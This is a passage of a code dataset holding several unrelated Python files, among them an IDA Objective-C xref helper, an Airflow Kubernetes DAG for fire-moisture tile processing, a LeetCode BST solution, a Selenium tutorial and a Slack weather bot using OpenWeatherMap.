parent=self)\n\n        self.enableButton = EnableButton(text=\"Disable all\", pos = (630, 540),\n                parent=self)\n\n        app.keyboardmanager.bindKeyDown(text=\"a\", handler=abortAll,\n                help=\"abort recognition\")\n        app.keyboardmanager.bindKeyDown(text=\"d\", handler=self.onEnableKey,\n                help=\"Enable/disable recognition\")\n\n    def onEnableKey(self):\n        switchNodesEnabled()\n        self.enableButton.changeText()\n\n\nif __name__ == '__main__':\n    app.App().run(GestureDemoDiv(), app_resolution=\"800,600\")\n","repo_name":"libavg/libavg","sub_path":"samples/abort_gestures.py","file_name":"abort_gestures.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"35"}
{"seq_id":"12574680145","text":"#!/usr/bin/env python\n\n# Each entry in the __objc_methlist has an entry like this \n# struct method_t {\n#     SEL name;\n#     const char *types;\n#     IMP imp;\n# }\n# The normal Xref only finds xrefs the imp field which is dynamically resolved at Obj-C runtime \n# from the name by objc_msgSend. This script finds the __objc_selrefs address (SEL) of the \n# desired function and Xref it, without modifying with the idb\n# Note: Only works after IDA finishes caching the functions\n\nimport ida_kernwin\nimport ida_xref\nimport idautils\n\ndef find_sel_ref(ea):\n    for xref in idautils.XrefsTo(ea, 0):\n        if get_segm_name(xref.frm) == '__objc_methlist':\n            sel_ref_addr = ida_xref.get_first_dref_from(xref.frm - 8)\n            if get_segm_name(sel_ref_addr) == '__objc_selrefs':\n                return sel_ref_addr\n    return None\n\ndef xref_selref():\n    sel_ref_addr = find_sel_ref(here())\n    if sel_ref_addr != None:\n        ida_kernwin.open_xrefs_window(sel_ref_addr)\n\nhotkey_ctx = ida_kernwin.add_hotkey(\"Alt-Shift-X\", xref_selref)","repo_name":"tanzejian/ida-scripts","sub_path":"ios_xrefhelper.py","file_name":"ios_xrefhelper.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28493096813","text":"from flask import Flask, render_template\nfrom testModelDB import db, User\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite:///test.db\"\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb.init_app(app)\n\n@app.route(\"/\")\ndef hello():\n    db.drop_all()\n    db.create_all()\n    db.session.add(User(\"John Doe\", \"john.doe@example.com\"))\n    db.session.add(User(\"Bill Smith\", \"smith.bill@example.com\"))\n    db.session.commit()\n    all_users = User.query.all()\n    return render_template('index.html', all_users=all_users)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"scasplte2/Topl_2018_misc","sub_path":"testingFunctions/testFlaskDB.py","file_name":"testFlaskDB.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26858289660","text":"from airflow.utils.dates import days_ago\nfrom airflow.models import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.contrib.operators.kubernetes_pod_operator import KubernetesPodOperator\nfrom airflow.contrib.kubernetes.secret import Secret\nfrom airflow.contrib.kubernetes.volume import Volume\nfrom airflow.contrib.kubernetes.volume_mount import VolumeMount\nfrom airflow.contrib.kubernetes.pod import Port\n\nargs = {\n    'owner': 'Airflow',\n    'start_date': days_ago(2),\n}\n\ndag = DAG(\n    dag_id='fire-data-processing',\n    default_args=args,\n    schedule_interval=None,\n    tags=['afms']\n)\n\nenv_vars = {\n    'SSH_CRED':'/gadi/id_rsa_gadi',\n    'WALD_SETTINGS':'/opt/fire/config/defaults-mk.json'\n}\n\ndata_key = Secret('volume', '/gadi_orig', 'gadi','id_rsa_gadi')\ndata_id = Secret('volume','/etc/ssh/gadi-id','gadi-id','fingerprint')\nconfig_file = Secret('volume','/opt/fire/config','fmc-config','defaults-mk.json')\nsecrets = [data_key,data_id,config_file]\n# secret_env  = Secret('env', 'SQL_CONN', 'airflow-secrets', 'sql_alchemy_conn')\n# secret_all_keys  = Secret('env', None, 'airflow-secrets-2')\nvolume_mount = VolumeMount('g-data',\n                            mount_path='/g/data',\n                            sub_path=None,\n                            read_only=False)\n# port = Port('http', 80)\n# configmaps = ['test-configmap-1', 'test-configmap-2']\n\nvolume_config= {\n    'persistentVolumeClaim':\n      {\n        'claimName': 'g-data'\n      }\n    }\n\npod_volume = Volume(name='g-data', configs=volume_config)\n\n# affinity = {\n#     'nodeAffinity': {\n#       'preferredDuringSchedulingIgnoredDuringExecution': [\n#         {\n#           \"weight\": 1,\n#           \"preference\": {\n#             \"matchExpressions\": {\n#               \"key\": \"disktype\",\n#               \"operator\": \"In\",\n#               \"values\": [\"ssd\"]\n#             }\n#           }\n#         }\n#       ]\n#     },\n#     \"podAffinity\": {\n#       \"requiredDuringSchedulingIgnoredDuringExecution\": [\n#         {\n#           \"labelSelector\": {\n#             \"matchExpressions\": [\n#               {\n#                 \"key\": \"security\",\n#                 \"operator\": \"In\",\n#                 \"values\": [\"S1\"]\n#               }\n#             ]\n#           },\n#           \"topologyKey\": \"failure-domain.beta.kubernetes.io/zone\"\n#         }\n#       ]\n#     },\n#     \"podAntiAffinity\": {\n#       \"requiredDuringSchedulingIgnoredDuringExecution\": [\n#         {\n#           \"labelSelector\": {\n#             \"matchExpressions\": [\n#               {\n#                 \"key\": \"security\",\n#                 \"operator\": \"In\",\n#                 \"values\": [\"S2\"]\n#               }\n#             ]\n#           },\n#           \"topologyKey\": \"kubernetes.io/hostname\"\n#         }\n#       ]\n#     }\n# }\n\n# tolerations = [\n#     {\n#         'key': \"key\",\n#         'operator': 'Equal',\n#         'value': 'value'\n#      }\n# ]\n\nAU_TILES = [\n    \"h27v11\", \"h27v12\", \"h28v11\", \"h28v12\",\n    \"h28v13\", \"h29v10\", \"h29v11\", \"h29v12\",\n]\n#     \"h29v13\", \"h30v10\", \"h30v11\", \"h30v12\",\n#     \"h31v10\", \"h31v11\", \"h31v12\", \"h32v10\",\n#     \"h32v11\"\n# ]\n\nrun_this = BashOperator(\n    task_id='run_after_loop',\n    bash_command='echo 1',\n    dag=dag,\n)\n\ndebug_task_one = KubernetesPodOperator(dag=dag,\n                                namespace='default',\n                                image=\"anuwald/fire-data-processing\",\n                                cmds=[\"ls\", \"-lh\",\"/gadi\",\"/etc/ssh\",\"/opt/fire/config\"],\n                                # cmds=[\"python\", \"update_fmc.py\",\"-t\",tile,\"-y\",\"2020\",\"-dst\",\"/g/data/fmc_%s.nc\"%tile],\n                                arguments=[],\n                                labels={\"foo\": \"bar\"},\n                                env_vars=env_vars,\n                                secrets=secrets,\n                                # ports=[port]\n                                volumes=[pod_volume],\n                                volume_mounts=[volume_mount],\n                                name='debug_task_one',\n                                task_id='debug_task_one',\n                                # affinity=affinity,\n                                is_delete_operator_pod=True,\n                                hostnetwork=False,\n                                startup_timeout_seconds=360\n                                # tolerations=tolerations,\n                                # configmaps=configmaps\n                                )\n\ndebug_task_one >> run_this\n\n\ndebug_task_one = KubernetesPodOperator(dag=dag,\n                                namespace='default',\n                                image=\"anuwald/fire-data-processing\",\n                                cmds=[\"env\"],\n                                # cmds=[\"python\", \"update_fmc.py\",\"-t\",tile,\"-y\",\"2020\",\"-dst\",\"/g/data/fmc_%s.nc\"%tile],\n                                arguments=[],\n                                labels={\"foo\": \"bar\"},\n                                env_vars=env_vars,\n                                secrets=secrets,\n                                # ports=[port]\n                                volumes=[pod_volume],\n                                volume_mounts=[volume_mount],\n                                name='debug_task_two',\n                                task_id='debug_task_two',\n                                # affinity=affinity,\n                                is_delete_operator_pod=True,\n                                hostnetwork=False,\n                                startup_timeout_seconds=360\n                                # tolerations=tolerations,\n                                # configmaps=configmaps\n                                )\n\ndebug_task_one >> run_this\n\nfmc_mosaic_task_name=\"DUMMY_update_fmc_mosaic\"\nfmc_mosaic_task = KubernetesPodOperator(dag=dag,\n                                namespace='default',\n                                image=\"anuwald/fire-data-processing\",\n                                cmds=[\"python\", \"-c\",\"print('Dummy task - pretending to process FMC mosaic')\"],\n                                # cmds=[\"python\", \"update_fmc.py\",\"-t\",tile,\"-y\",\"2020\",\"-dst\",\"/g/data/fmc_%s.nc\"%tile],\n                                arguments=[],\n                                labels={\"foo\": \"bar\"},\n                                env_vars=env_vars,\n                                secrets=secrets,\n                                # ports=[port]\n                                volumes=[pod_volume],\n                                volume_mounts=[volume_mount],\n                                name=fmc_mosaic_task_name,\n                                task_id=fmc_mosaic_task_name,\n                                # affinity=affinity,\n                                is_delete_operator_pod=True,\n                                hostnetwork=False,\n                                startup_timeout_seconds=360\n                                # tolerations=tolerations,\n                                # configmaps=configmaps\n                                )\n\nflam_mosaic_task_name=\"DUMMY_update_flammability_mosaic\"\nflam_mosaic_task = KubernetesPodOperator(dag=dag,\n                                namespace='default',\n                                image=\"anuwald/fire-data-processing\",\n                                cmds=[\"python\", \"-c\",\"print('Dummy task - pretending to process Flammability mosaic')\"],\n                                # cmds=[\"python\", \"update_fmc.py\",\"-t\",tile,\"-y\",\"2020\",\"-dst\",\"/g/data/fmc_%s.nc\"%tile],\n                                arguments=[],\n                                labels={\"foo\": \"bar\"},\n                                env_vars=env_vars,\n                                secrets=secrets,\n                                # ports=[port]\n                                volumes=[pod_volume],\n                                volume_mounts=[volume_mount],\n                                name=flam_mosaic_task_name,\n                                task_id=flam_mosaic_task_name,\n                                # affinity=affinity,\n                                is_delete_operator_pod=True,\n                                hostnetwork=False,\n                                startup_timeout_seconds=360\n                                # tolerations=tolerations,\n                                # configmaps=configmaps\n                                )\n\nfmc_mosaic_task >> run_this\nflam_mosaic_task >> run_this\n\nfor tile in AU_TILES:\n    fmc_task_name=\"update_fmc_%s\"%tile\n    fmc_commands = [\n        \"ln -s /etc/ssh/gadi-id/fingerprint /etc/ssh/ssh_known_hosts\",\n        \"mkdir /gadi\",\n        \"cp /gadi_orig/id_rsa_gadi /gadi\",\n        \"chmod 600 /gadi/id_rsa_gadi\",\n        \"python update_fmc.py -t %s -d 2020 -dst /g/data/fmc_%s.nc -tmp /tmp\"%(tile,tile)\n    ]\n    fmc_task = KubernetesPodOperator(dag=dag,\n                                 namespace='default',\n                                 image=\"anuwald/fire-data-processing\",\n                                 cmds=[\n                                     \"/bin/bash\",\"-c\",\n                                     \" && \".join(fmc_commands)\n                                 ],\n                                #  cmds=[\n                                #      \"python\", \"update_fmc.py\",\n                                #      \"-t\",tile,\n                                #      \"-d\",\"2020\",\n                                #      \"-dst\",\"/g/data/fmc_%s.nc\"%tile,\n                                #      \"-tmp\",\"/tmp\"],\n                                 arguments=[],\n                                 labels={\"foo\": \"bar\"},\n                                 env_vars=env_vars,\n                                 secrets=secrets,\n                                 # ports=[port]\n                                 volumes=[pod_volume],\n                                 volume_mounts=[volume_mount],\n                                 name=fmc_task_name,\n                                 task_id=fmc_task_name,\n                                 # affinity=affinity,\n                                 is_delete_operator_pod=True,\n                                 hostnetwork=False,\n                                 startup_timeout_seconds=360\n                                 # tolerations=tolerations,\n                                 # configmaps=configmaps\n                                 )\n    fmc_task >> fmc_mosaic_task\n\n    flam_task_name=\"DUMMY_update_flam_%s\"%tile\n    flam_task = KubernetesPodOperator(dag=dag,\n                                 namespace='default',\n                                 image=\"anuwald/fire-data-processing\",\n                                #  cmds=[\"python\", \"update_flammability.py\",\"-t\",tile,\"-y\",\"2020\",\"-dst\",\"/g/data/fmc_%s.nc\"%tile],\n                                 cmds=[\"python\", \"-c\",\"print('Dummy task - pretending to process flammability for tile %s')\"%tile],\n                                 arguments=[],\n                                 labels={\"foo\": \"bar\"},\n                                 env_vars=env_vars,\n                                 secrets=secrets,\n                                 # ports=[port]\n                                 volumes=[pod_volume],\n                                 volume_mounts=[volume_mount],\n                                 name=flam_task_name,\n                                 task_id=flam_task_name,\n                                 # affinity=affinity,\n                                 is_delete_operator_pod=True,\n                                 hostnetwork=False,\n                                 startup_timeout_seconds=360\n                                 # tolerations=tolerations,\n                                 # configmaps=configmaps\n                                 )\n\n    fmc_task >> flam_task\n    flam_task >> flam_mosaic_task\n\n","repo_name":"joelrahman/test-airflow-dags","sub_path":"fire-data-processing.py","file_name":"fire-data-processing.py","file_ext":"py","file_size_in_byte":11752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16042716835","text":"# Given a binary search tree, write a function kthSmallest to find the kth smallest element in it.\n#\n#\n#\n# Example 1:\n#\n# Input: root = [3,1,4,null,2], k = 1\n#       3\n#      / \\\n#     1   4\n#      \\\n#       2\n# Output: 1\n# Example 2:\n#\n# Input: root = [5,3,6,2,4,null,null,1], k = 3\n#       5\n#      / \\\n#     3   6\n#    / \\\n#   2   4\n#  /\n# 1\n# Output: 3\n# Follow up:\n# What if the BST is modified (insert/delete operations) often and you need to find the kth smallest frequently? How would you optimize the kthSmallest routine?\n#\n#\n#\n# Constraints:\n#\n# The number of elements of the BST is between 1 to 10^4.\n# You may assume k is always valid, 1 ≤ k ≤ BST's total elements.\n\nfrom utils import *\n\n\nclass Solution:\n    def kthSmallest(self, root: TreeNode, k: int) -> int:\n        # recursive solution\n        # self.k = k\n        #\n        # def inorder_traverse(root):\n        #     if root is None:\n        #         return\n        #\n        #     l_res = inorder_traverse(root.left)\n        #     if l_res:\n        #         return l_res\n        #\n        #     # inorder traverse visits values from smallest to largest\n        #     self.k -= 1\n        #     if self.k == 0:\n        #         return root\n        #\n        #     r_res = inorder_traverse(root.right)\n        #     if r_res:\n        #         return r_res\n        #\n        # return inorder_traverse(root).val\n\n        # iterative solution: iterations are easier to control\n        # iterative inorder traverse: #0094\n        stack = []\n\n        def traverse_left(node):\n            while node is not None:\n                stack.append(node)\n                node = node.left\n\n        traverse_left(root)\n        while len(stack) > 0:\n            node = stack.pop()\n            k -= 1\n            if k == 0:\n                return node.val\n            traverse_left(node.right)\n","repo_name":"graysonliu/leetcode","sub_path":"0230_kth_smallest_element_in_a_bst.py","file_name":"0230_kth_smallest_element_in_a_bst.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40171223282","text":"import os\n\n\ndef get_type(type_name: str) -> str:\n    \"\"\"\n    The function returns the relative path to files of the specified type when instances end, the function returns None.\n    \"\"\"\n    path = os.path.join('dataset', type_name)\n    list_img = os.listdir(path)\n    list_img.append(None)\n    for i in range(len(list_img)):\n        yield os.path.join(path, list_img[i]) if list_img[i] is not None else None\n\n\ndef main() -> None:\n\n    type1 = 'polar_bear'\n    # type2 = 'brown_bear'\n\n    print(*get_type(type1))\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"NozdryakovaMarina/DataProcessing","sub_path":"task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38379392878","text":"import cv2\nimport numpy as np\nimport math\n\nif __name__ == '__main__':\n    vn = input('Video Name or type * to run on a whole directory:  ')\n    if '*' in vn:\n        print('This feature is not supported yet')\n    if '.' in vn:\n        vidcap = cv2.VideoCapture('./data/'+vn)\n    else:\n        vidcap = cv2.VideoCapture('./data/'+vn+'.MP4')\n\n    success, image = vidcap.read()\n    fr = math.ceil(vidcap.get(cv2.CAP_PROP_FPS))\n    count = 0\n    calibration = None\n    # Get the first frame\n    r = []\n    r_timer = []\n    thresehold = 0.05\n    t_sum = 0\n\n    with open('roi.txt', 'r') as f:\n        for val in f:\n            r.append(int(val))\n\n    with open('roi_timer.txt', 'r') as f:\n        for val in f:\n            r_timer.append(int(val))\n\n    while success:\n        success, image = vidcap.read()\n        if count == 0:\n            # crop the image\n            calibration = image[int(r[1]):int(\n                r[1]+r[3]), int(r[0]):int(r[0]+r[2])]\n            count += 1\n            continue\n        try:\n            selection = image[int(r[1]):int(r[1]+r[3]),\n                              int(r[0]):int(r[0]+r[2])]\n            diff = 255 - cv2.absdiff(calibration, selection)\n            data = np.asarray(diff, dtype=\"int32\")\n            sum_ = (diff.sum())\n            if count == 1:\n                t_sum = sum_\n                count += 1\n                continue\n            count += 1\n            if ((sum_ > t_sum+t_sum*thresehold) or (sum_ < t_sum-t_sum*thresehold)):\n                timer = image[int(r_timer[1]):int(\n                    r_timer[1]+r_timer[3]), int(r_timer[0]):int(r_timer[0]+r_timer[2])]\n                print(f'Occured at time: {count/fr}s, Occured on frame: {count}, Detected Frame Rate: {fr}')\n                cv2.imshow(\"Image\", selection)\n                cv2.imshow(\"timer\", timer)\n                cv2.waitKey(1)\n                inp = input('Type y to confirm this is correct: ')\n                if (inp == 'y'):\n                    break\n\n        except:\n            print(\"failed img reading\")\n","repo_name":"beauhobba/find_differences","sub_path":"difference_find.py","file_name":"difference_find.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22051827214","text":"# Read the initial sequences\r\nsequence1 = set(map(int, input().split()))\r\nsequence2 = set(map(int, input().split()))\r\n\r\n# Read the number of commands\r\nn = int(input())\r\n\r\n# Process the commands\r\nfor _ in range(n):\r\n    command = input().split()\r\n    operation = command[0]\r\n    numbers = set(map(int, command[2:]))\r\n\r\n    if operation == \"Add\":\r\n        if command[1] == \"First\":\r\n            sequence1.update(numbers)\r\n        elif command[1] == \"Second\":\r\n            sequence2.update(numbers)\r\n    elif operation == \"Remove\":\r\n        if command[1] == \"First\":\r\n            sequence1 -= numbers\r\n        elif command[1] == \"Second\":\r\n            sequence2 -= numbers\r\n    elif operation == \"Check\":\r\n        if sequence1.issubset(sequence2) or sequence2.issubset(sequence1):\r\n            print(\"True\")\r\n        else:\r\n            print(\"False\")\r\n\r\n# Print the final sequences\r\nsequence1 = sorted(sequence1)\r\nsequence2 = sorted(sequence2)\r\nprint(\", \".join(map(str, sequence1)))\r\nprint(\", \".join(map(str, sequence2)))\r\n\r\n\r\n# First, you will be given two sequences of integer values on different lines.\r\n# The values of the sequences are separated by a single space between them.\r\n# Keep in mind that each sequence should contain only unique values.\r\n# Next, you will receive a number - N. On the following N lines, you will receive one of the following commands:\r\n#     • \"Add First {numbers, separated by a space}\" - add the given numbers at the end of the first sequence of numbers.\r\n#     • \"Add Second {numbers, separated by a space}\" - add the given numbers at the end of the second sequence of numbers.\r\n#     • \"Remove First {numbers, separated by a space}\" - remove only the numbers contained in the first sequence.\r\n#     • \"Remove Second {numbers, separated by a space}\" - remove only the numbers contained in the second sequence.\r\n#     • \"Check Subset\" - check if any of the given sequences are a subset of the other. If it is, print \"True\".\r\n# Otherwise, print \"False\".In the end, print the final sequences, separated by a comma and a space \", \".\r\n# The values in each sequence should be sorted in ascending order.\r\n#\r\n# Input:\r\n#     1 2 3 4 5\r\n#     1 2 3\r\n#     3\r\n#     Add First 5 6\r\n#     Remove Second 8 9 11\r\n#     Check Subset\r\n# Output:\r\n#     True\r\n#     1, 2, 3, 4, 5, 6\r\n#     1, 2, 3\r\n","repo_name":"BobbyKuzmanov/Py_Advance_Sep2023","sub_path":"L03_Stacks_queues_sets_tuples/1_numbers.py","file_name":"1_numbers.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25018719711","text":"import argparse\nimport subprocess\nimport sys\nimport os\n\n# Argument parser setup\nparser = argparse.ArgumentParser(description=\"Clean directories using ./exec\")\nparser.add_argument(\"path\", help=\"Path of the original lvm\")\nparser.add_argument(\"--max-processes\", type=int, default=3, help=\"Maximum number of concurrent processes\")\n\n# Parse arguments\nargs = parser.parse_args()\n\n# Path of the original lvm\nfile_path = args.path\n\n# Maximum number of concurrent processes\nmax_processes = args.max_processes\n\n# List of processes\nprocesses = []\n\n\ndef run_commands_in_parallel(commands):\n    for command in commands:\n        # If we've reached the maximum number of concurrent processes, wait for one to finish\n        if len(processes) >= max_processes:\n            # Wait for the first process to finish and remove it from the list\n            processes.pop(0).wait()\n\n        # Spawn a process for the command and add it to the list of processes\n        processes.append(subprocess.Popen(command))\n    \n    # Wait for all remaining processes to complete\n    for process in processes:\n        process.wait()\n\n\ndef check_file_exists(file_path):\n    if os.path.isfile(file_path):\n        return True\n    else:\n        return False\n\ndef perform_split(file_path):\n    print('Performing split...')\n    with open(file_path, 'r') as file:\n        os.system(f'split {file_path} -C300MB')\n\ndef move_chunks_to_folders(prefix):\n    print('Moving chunks to folders...')\n    index = 1\n    chunks = []\n    for file in os.listdir():\n        if file.startswith('x'):\n            chunks.append(file)\n\n    chunks.sort()\n\n    max_digits = len(str(len(chunks)))\n\n    folders = []\n    \n    for chunk in chunks:\n\n        folder = f'{prefix}-{str(index).zfill(max_digits)}'\n        # We create the directory in case it doesn't exist\n        if not os.path.exists(folder):\n            os.system(f'mkdir {folder}')\n\n        # We move the chunk to the directory\n        os.system(f'mv {chunk} {folder}/data.lvm')\n\n        folders.append(folder)\n\n        index += 1\n\n    return folders\n\ndef complete_chunks(folders):\n    print('Completing chunks...')\n\n    commands = [['../DropFinder/drop_finder', 'fill_gaps', f'{folder}/data.lvm'] for folder in folders]\n\n    run_commands_in_parallel(commands)\n\ndef compute_dynamic_avg(folders):\n    print('Computing dynamic average...')\n\n    commands = [\n        ['../DropFinder/drop_finder',\n        'compute_dynamic_avg',\n        f'{folder}/data_complete.lvm',\n        f'{folders[i-1]}/data_complete.lvm' if i > 0 else '',\n        f'{folders[i+1]}/data_complete.lvm' if i < len(folders) - 1 else '' ]\n    for i, folder in enumerate(folders)]\n\n    run_commands_in_parallel(commands)\n\nif __name__ == \"__main__\":\n\n    if not check_file_exists(file_path):\n        print(\"File does not exist\")\n        exit(2)\n    \n    perform_split(sys.argv[1])\n\n    [year, month, day] = file_path.split('-')[:3]\n\n    folders = move_chunks_to_folders(f'{year}-{month}-{day}')\n\n    complete_chunks(folders)\n\n    compute_dynamic_avg(folders)\n\n    exit(0)\n","repo_name":"CarusoX/Thesis","sub_path":"New/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16085937059","text":"# The selenium.webdriver module provides all the WebDriver implementations. \n# Currently supported WebDriver implementations are Firefox, Chrome, IE and Remote.\n# The Keys class provide keys in the keyboard like RETURN, F1, ALT etc. \n# The By class is used to locate elements within a document.\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\n\n# Adding the default driver path\ndriver_path = r'geckodriver.exe'\n\n# turning off the logs\nPATH_TO_DEV_NULL = 'nul'\n\n# Next, the instance of Firefox WebDriver is created.\ndriver = webdriver.Firefox(executable_path=driver_path,service_log_path=PATH_TO_DEV_NULL)\n\n# The driver.get method will navigate to a page given by the URL. \n# WebDriver will wait until the page has fully loaded \n# (that is, the “onload” event has fired) before returning control to your test or script. \n# Be aware that if your page uses a lot of AJAX on \n# load then WebDriver may not know when it has completely loaded:\ndriver.get(\"http://www.python.org\")\n\n# The next line is an assertion to confirm that title has the word “Python” in it:\nassert \"Python\" in driver.title\n\n# WebDriver offers a number of ways to find elements using the find_element method.\n# For example, the input text element can be located by \n# its name attribute using the find_element method and using By.NAME \n# as its first parameter. \n# A detailed explanation of finding elements is available in the Locating Elements chapter:\nelem = driver.find_element(By.NAME, \"q\")\n\n# Next, we are sending keys, this is similar to entering keys using your keyboard. \n# Special keys can be sent using the \n# Keys class imported from selenium.webdriver.common.keys. To be safe, we’ll \n# first clear any pre-populated text in the input field (e.g. “Search”) so it \n# doesn’t affect our search results:\nelem.clear()\nelem.send_keys(Keys.RETURN)\n\n# After submission of the page, you should get the result if there is any. \n# To ensure that some results are found, make an assertion:\nassert \"No results found.\" not in driver.page_source\n\n# Finally, the browser window is closed. You can also call the \n# quit method instead of close. The quit method will exit the browser \n# whereas close will close one tab, but if just one tab was open, by \n# default most browsers will exit entirely.:\ndriver.close()","repo_name":"matiwan3/PYTHON-main","sub_path":"python/2022.10/O_selenium-doc/21-getting-started.py","file_name":"21-getting-started.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"73416514981","text":"import numpy as np\n\nA = np.array([[1,0,3], [0,5,6]])\nB =np.ones_like(A)\nprint(A)\n\nind = np.nonzero(A)\nprint(ind)\nB[ind] = A[ind]\nprint(B)","repo_name":"hansggi/BdG_AM_SC","sub_path":"testing2.py","file_name":"testing2.py","file_ext":"py","file_size_in_byte":137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"28420555458","text":"\"\"\"Get weather from OpenWeather Map\"\"\"\nimport time\nimport os\nimport re\nimport requests\nfrom flask import Blueprint, request\nfrom labbot.controllers import utils\n\n\nomw_api_key = os.environ.get(\"OMW_KEY\")\n\n#influx = InfluxDBClient(config['influx']['host'], 8086, config['influx']\\\n# ['username'], config['influx']['password'], 'weather')\nweather = Blueprint('weather', __name__, template_folder='templates/weather')\n@weather.route('/weather', defaults={'page': 'current'})\n@weather.route('/weather/current', methods=['POST'])\ndef get_weather():\n    \"\"\"Get the current weather\n    \"\"\"\n\n    utils.validate_token(request.form.get('token', None))\n    text = request.form.get('text', None)\n    #channel = request.form.get('channel_id', None)\n    args = text.split()\n    omw_zip = os.environ.get(\"OMW_ZIP\")\n\n    unit = 'c'\n    regex = re.compile(r\"\\d\\d\\d\\d\\d\")\n    if len(args) > 0:\n        if len(args[0]) == 1:\n            if ('f' in args[0] or 'c' in args[0] or 'k' in args[0]):\n                unit = args[0]\n        if regex.match(args[0]):\n            omw_zip = args[0] + \",us\"\n    if len(args) > 1:\n        if regex.match(args[1]):\n            omw_zip = args[1] + \",us\"\n\n    omw_weather = get_owm(omw_zip)\n    temperature = Temperature(omw_weather['main']['temp'])\n\n    message = f\"The current temperature is {getattr(temperature, unit):.1f}{unit.upper()}\"\n    print(text)\n    return message\n    #payload = {'text': json.dumps(request.form)}\n    #return jsonify(payload)\n\ndef every(delay, task, *args, **kwargs):\n    \"\"\"Perform action every x\"\"\"\n    next_time = time.time() + delay\n    print(time.time(), next_time)\n    while True:\n        time.sleep(max(0, next_time - time.time()))\n        #try:\n        task(*args, **kwargs)\n        #except Exception:\n        #    traceback.print_exception()\n            # in production code you might want to have this instead of course:\n            # logger.exception(\"Problem while executing repetitive task.\")\n        # skip tasks if we are behind schedule:\n        next_time += (time.time() - next_time) // delay * delay + delay\n\nclass Temperature:\n    \"\"\"Store a temperature and return\"\"\"\n    def __init__(self, temp, unit=\"k\"):\n        \"\"\"Store a temperature\"\"\"\n        if unit == \"c\":\n            self.temp_kelvin = convert_c_to_k(temp)\n        elif unit == \"f\":\n            self.temp_kelvin = convert_f_to_k(temp)\n        elif unit == \"k\":\n            self.temp_kelvin = int(temp)\n        else:\n            raise SystemError\n\n    def get_fahrenheit(self):\n        \"\"\"Return Fahrenheit\"\"\"\n        return convert_k_to_f(self.temp_kelvin)\n\n    def get_celsius(self):\n        \"\"\"Return Celsius\"\"\"\n        return convert_k_to_c(self.temp_kelvin)\n\n    def get_kelvin(self):\n        \"\"\"Return Kelvin\"\"\"\n        return self.temp_kelvin\n\n\ndef convert_c_to_k(celsius):\n    \"\"\"Convert a temperature from Celsius to Kelvin\"\"\"\n    return celsius + 273.15\n\ndef convert_f_to_k(fahrenheit):\n    \"\"\"Convert a temperature from Fahrenheit to Kelvin\"\"\"\n    return (fahrenheit - 32) * 5 / 9 + 273.15\n\ndef convert_k_to_f(kelvin):\n    \"\"\"Convert a temperature from Kelvin to Fahrenheit\"\"\"\n    return (kelvin - 273.15) * 9 / 5 + 32\n\ndef convert_k_to_c(kelvin):\n    \"\"\"Convert a temperature from Kelvin to Celsius\"\"\"\n    return kelvin - 273.15\n\ndef get_owm(omw_zip):\n    \"\"\"Get the JSON from OMW\"\"\"\n    base_url = \"https://api.openweathermap.org/data/2.5/weather?\"\n    complete_url = f\"{base_url}zip={omw_zip}&appid={omw_api_key}\"\n    print(complete_url)\n    response = requests.get(complete_url)\n    response_json = response.json()\n    if response_json[\"cod\"] != \"404\":\n        return response_json\n    return None\n\ndef influx_temp(omw_zip):\n    \"\"\"Some deprecated specific data for Influx\"\"\"\n    raw_data = get_owm(omw_zip)\n    tags = { \"city\": \"North Hollywood\",\n             \"datasource\": \"OpenWeatherMaps\",\n             \"state\": \"CA\",\n             \"note:\": \"Commercial\",\n             \"latitude\": raw_data[\"coord\"][\"lat\"],\n             \"longitude\": raw_data[\"coord\"][\"lon\"],}\n\n    data = []\n\n    data.append({\"measurement\": \"sky\",\n                \"tags\": tags,\n                \"fields\": {\"value\": raw_data[\"weather\"][0][\"main\"]}\n                })\n\n    data.append({ \"measurement\": \"temperature\",\n              \"tags\": tags,\n              \"fields\": { \"value\": raw_data[\"main\"][\"temp\"]}\n              })\n    data.append({ \"measurement\": \"pressure\",\n              \"tags\": tags,\n              \"fields\": { \"value\": raw_data[\"main\"][\"pressure\"]}\n              })\n    data.append({ \"measurement\": \"humidity\",\n              \"tags\": tags,\n              \"fields\": { \"value\": raw_data[\"main\"][\"humidity\"]}\n              })\n    data.append({ \"measurement\": \"visibility\",\n              \"tags\": tags,\n              \"fields\": { \"value\": raw_data[\"visibility\"]}\n              })\n    data.append({ \"measurement\": \"wind_speed\",\n              \"tags\": tags,\n              \"fields\": { \"value\": raw_data[\"wind\"][\"speed\"]}\n              })\n    data.append({ \"measurement\": \"wind_direction\",\n              \"tags\": tags,\n              \"fields\": { \"value\": raw_data[\"wind\"][\"deg\"]}\n              })\n    data.append({ \"measurement\": \"clouds\",\n              \"tags\": tags,\n              \"fields\": { 